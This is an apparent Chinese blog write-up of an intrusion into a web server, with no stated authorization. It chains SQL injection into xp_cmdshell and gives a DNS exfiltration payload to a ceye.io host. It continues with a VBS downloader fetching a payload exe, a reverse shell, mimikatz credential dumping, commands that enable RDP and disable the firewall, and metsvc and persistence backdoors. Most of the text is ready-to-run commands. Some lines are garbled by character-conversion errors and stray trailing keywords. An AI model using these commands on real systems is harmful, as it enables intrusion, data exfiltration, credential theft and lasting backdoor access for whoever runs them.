用dirsearch扫了一波目录没有发现什么东西web
直接用主站域名解析的ip访问发现主站是挂有cdn的sql
subDomainsBrute 扫描子域名shell
其中一个子域没挂CDN,由此找到网站的真实ipwindows
获得真实ip后nmap扫描发现8099端口有个未知应用服务器
访问发现是个WEB服务,一个登录界面app
趁nmap还在工做的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能dom
遂把目光放在了nmap扫出的8099端口的web服务tcp
常规测试admin/admin,提示密码错误sqlserver
l3yx/xxxx,帐号不存在测试
那么能够肯定的是这里的帐号和密码验证是分开的,确有admin帐号。并且没有验证码,理论上能够爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!
因而很熟练的构造"万能密码",admin/x' or 'x'='x--
而后反应过来了,以前测试发现帐号密码验证是分开的,后台的帐号密码验证确定并不是 where username=xxx and password=xxx 这种简单的sql语句,因此继续测试观察报错信息
帐号密码的验证貌似是调用了储存过程,相似如 execute @result= verify 'xxx','xxx';
当帐号密码为admin/11','xx'--时,页面返回正常
因为不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登录的payload没有成功,就换种思路。
sqlserver是默承认以堆叠查询的,因此只要把以前的语句闭合,那么就能够在其后执行任意sql语句,能执行任意sql语句,那么一样利用存储过程就能够执行系统命令
第一步先用以下语句开启扩展存储过程
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行系统命令
exec master..xp_cmdshell "whoami"
这里是不会有回显的命令执行结果的,因此用ping命令来判断命令执行结果
有时候能执行命令却看不见结果也是很难受的,这里我仍是想可以观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
实际测试的时候爬了不少坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符必定要编码,不然被WEB服务器当作参数分隔符了
生成的temp文件要删除,不然下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3"; exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!"""; exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
没想到直接就是system权限
cmd命令行作不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,因此就用vbs来下载文件
vbs下载文件脚本:
iLocal = LCase(WScript.Arguments(1)) iRemote = LCase(WScript.Arguments(0)) Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() Set sGet = CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile iLocal,2
用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
因此先得利用sql注入执行命令把该脚本一点点写入文件,以下
echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs echo xPost.Send() >>D:/l.vbs echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs echo sGet.Mode = 3 >>D:/l.vbs echo sGet.Type = 1 >>D:/l.vbs echo sGet.Open()>>D:/l.vbs echo sGet.Write(xPost.responseBody)>>D:/l.vbs echo sGet.SaveToFile iLocal,2 >>D:/l.vbs
注意以上命令是不能所有用&&链接起来一块儿输入的,由于参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是须要输入两个双引号的,并非用\转义,如图
在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录
说明vbs脚本写入成功并且确实下载了文件,可是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实作过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,天然不会成功,后面换成32位的,成功弹回shell
ipconfig
查了一下ip,发现处在内网
查看域用户
net group /domain
有中文乱码,原本想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体缘由。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望
查看系统基本信息
systeminfo
查看端口,没开3389
netstat -ano
查看相邻主机IP
arp –a
抓用户hash
解密不成功的话能够用mimikatz直接抓取明文,metasploit已经内置,能够直接加载
load mimikatz
而后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令
mimikatz_command -f sekurlsa::logonPasswords
目标3389是没有开启的,不过Win七、Win200三、XP系统可用以下命令直接开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙:
netsh firewall set opmode mode=disable
尝试关闭防火墙后仍是链接不成功
测试发现3389端口仍然为closed
真是被本身蠢到了...
这台服务器是在内网,要链接天然的先把端口转发到公网上啊
metasploit端口转发:
portfwd add -l 3389 -p 3389 -r 192.168.50.2
这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)
而后打开远程桌面链接,ip即为我服务器的公网ip,端口因为也是设置的3389,因此不用改
要对目标内网进行扫描须要先添加一下路由
run autoroute -s 192.168.50.2/24
使用metasploit的portscan扫描一下内网存活的主机
use auxiliary/scanner/portscan/tcp set rhosts 192.168.50.2/24set ports 139, 445 exploit
有点慢呢,最后扫了一半还没发现其余主机就放弃了
这个使用很简单
run metsvc
实际上是给目标开了一个服务
链接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx
-U:设置后门在用户登陆后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向链接间隔时间,单位为秒;
-p:设置反向链接的端口号;
-r:设置反向链接的ip地址
清除脚本在下图位置
若要清除后门,在meterpreter运行该脚本便可